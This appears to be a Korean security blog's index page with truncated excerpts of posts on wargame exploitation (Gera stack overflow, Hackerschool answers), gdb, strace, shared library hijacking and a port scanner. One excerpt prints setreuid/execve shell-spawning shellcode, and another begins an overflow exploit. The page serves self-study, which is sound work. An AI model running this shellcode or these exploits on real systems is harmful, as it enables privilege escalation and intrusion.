반응형

전체 글 799

Gera _ Stack #1

/* * http://sosal.tistory.com/ * made by so_Sal */ 취약점이라 하기 뭣한~?! 음, 아주 간단한 문제입니다. /* stack1.c * * specially crafted to feed your brain by gera */ int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &buf, &cookie); gets(buf); if (cookie == 0x41424344) printf("you win!\n"); } buf[80] 배열을 overflow 시켜서, cookie 변수의 value를 \x41424344로 바꿔주면 되겠습니다. [sosal@localhost gera]$ (perl -e..

Gera's InsecureProgramming

/* * http://sosal.tistory.com/ * made by so_Sal */ http://community.corest.com/~gera/InsecureProgramming/ 사이트를 소개하겠습니다. 보안에 취약한 프로그램 코드를 소개하고, 그 취약한점을 확인(?) 하면서.. 시스템해킹을 연습하는 아주 재밌는 사이트입니다. ㅎㅎ Here you can find a collection of exercises that will help you teach yourself the art of insecure programs exploitation. It's not complete, but it's minted to open your mind. The idea is NOT to use any hum..

Linux :: Strace - 시스템콜과 신호 추적

strace는 system-call Tracer를 의미하는 말로, strace에 의해 추적되는 프로세스의 시스템콜, 신호를 모두 화면에 출력한다. (시스템콜 ex : read,write,exit,lstat,ipc,fork.... 대부분 표준 C 라이브러리 내에 함수로 존재) strace 프로그램은 ptrace라는 시스템콜을 사용하여 자식 프로세스가 어떤 시스템 콜을 호출하는지 감시하고, 호출하는 시스템 콜에 대해 화면에 출력한다. :: 시스템콜 실패시 strace를 이용하면 어떤 시스템콜이 실패하였는지 쉽게 알아낼 수 있다. :: 예외처리를 해준다면 더욱 쉽게 알아낼 수 있을 것이다. 일단 strace 유틸리티로 추적해볼 프로그램을 만들어보자. /* * gcc scall.c -o scall * 굵게 표시..

Linux/Linux_technic 2010.03.04

해커스쿨 11~20 정답, 공격코드

/* * http://sosal.tistory.com/ * made by so_Sal */ ////////// hkpco. universal setreuid() shellcode. 문서에서 발췌해온 쉘코드입니다. ////////////// 자주쓰는 쉘코드입니다. http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt (shell에서 환경변수 추가) export hk=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31..

Linux/Linux_technic 2010.01.31

Linux :: 디버거 GDB 디버깅 테크닉

/* * http://sosal.tistory.com/ * made by so_Sal */ 1. 디버깅 정보를 담아 컴파일 하기 2. gdb 실행하기, 프로그램 디버깅 시작하기, gdb 종료하기 3. 프로그램의 c언어 소스 보기 (디버깅 정보 포함) 4. 프로그램의 어셈블리 코드 보기 5. break 포인트. 디버깅 실행과 진행 명령어 6. 변수, 포인터 값 보기, 출력 형식 지정,함수 리턴값 지정 등 value 값 모니터링 하기 7. 변수값 바꾸기 8. 레지스터 값 보기 9. 메모리가 가지는 값 확인하기 10. 디버깅중인 프로세스에 시그널 보내기 gdb :: GNU Debugger GDB는 컴퓨터 프로그램을 실행하여, 사용자에게 실행 과정을 추적하고, 중간에 임의로 수정, 심볼(함수,변수)들을 모니터링..

Linux/Linux_technic 2010.01.31

Linux :: 디렉토리, 파일 정보 가져오기

/* * http://sosal.tistory.com/ * made by so_Sal */ 살펴볼것 1. stat(), fstat(), lstat() ,struct stat // 파일의 소유자나 그룹의 번호 를 가져오는 함수, 구조체 2. getcwd() // 현재 디렉토리의 경로를 알아내기 위한 함수 getpwuid(), struct passwd // passwd 파일의 한 항목을 가져오는 함수 및 구조체 getgrgid() , struct group // group 파일의 한 항목을 가져오는 함수 및 구조체 getlogin() // 로그인 이름 반환 함수 3. 245 opendir(), closedir() // 디렉토리를 열고 닫는 함수 readdir() struct dirent // 디렉토리 정보를..

Linux :: pwd 현재 디렉터리 경로 프로그램 소스

/* * http://sosal.tistory.com/ * made by so_Sal */ 1. getcwd() 함수 2. 예제 1. getcwd() 함수 #include char* getcwd( char* buf, size_t bufsize); 경로를 나타내는 문자열의 시작 주소가 반환됩니다. buf :: 현재 디렉토리의 경로가 저장될 배열 bufsize :: 현재 디렉토리 경로 문자열의 크기 (unsigned int = size_t) 2. 예제 #include #include int main(void){ char buf[BUFSIZ]; int bufsize; getcwd(buf,bufsize); printf("buf :: %s , size :: %d \n",buf,bufsize); return 0; ..

Linux/Linux_Source 2010.01.29

Linux - shared library Hijacking

/* * http://sosal.tistory.com/ * made by so_Sal */ 1. Shared Library Hijacking? 2. 예제와 Shared library(공유라이브러리) 의존성을 확인법 3. 라이브러리를 만들기 위한 gcc 컴파일러의 옵션 4. 완성된 공격 라이브러리를 이용하여 공격하기 1. Shared Library Hijacking? 공유라이브러리는 심볼(함수,변수)들을 프로그램이 시작하기 전에 로드하여, 필요로 할때마다 연동되는 동적인 라이브러리이다. 메모리, 용량 절약과 라이브러리를 언제든지 업데이트 할 수 있는 융통성을 가지고 있지만 사용자로부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다. 일반적으로 gcc 컴파일을 대부분 아래와 같이 하게된다. gcc so..

Linux :: 간단한 Port scanner 구현하기

/* * http://sosal.tistory.com/ * made by so_Sal */ c언어와 소켓 프로그래밍에 대한 지식, OSI 7계층 프로토콜중 TCP, IP, UDP, ICMP와 전송계층, 네트워크 계층의 프로토콜 지식이 있으면 충분히 이해할 수 있는 간단한 내용입니다. 예제 소스도 아주 간단하게 "열려있는지"만 파악하는 내용이므로 어렵지 않게 이해하실 수 있을것이라 생각합니다. 포트스캔 하는 방법도 상당히 여러가지고, 무척 어려운 부분이지만 아주 간단하게 준비하였습니다. 이 글을 보시고 난 후 옵션이나 기능을 추가하시면서 더 멋있는 포트스캐너를 만들어 보세요. 1. port? 2. portscan? 3. 예제 소스 CTF 해킹방어대회나 서버 모의 해킹을 할 때 가장 기본적으로 하는것중에 하..

Linux/Linux_Source 2010.01.27
반응형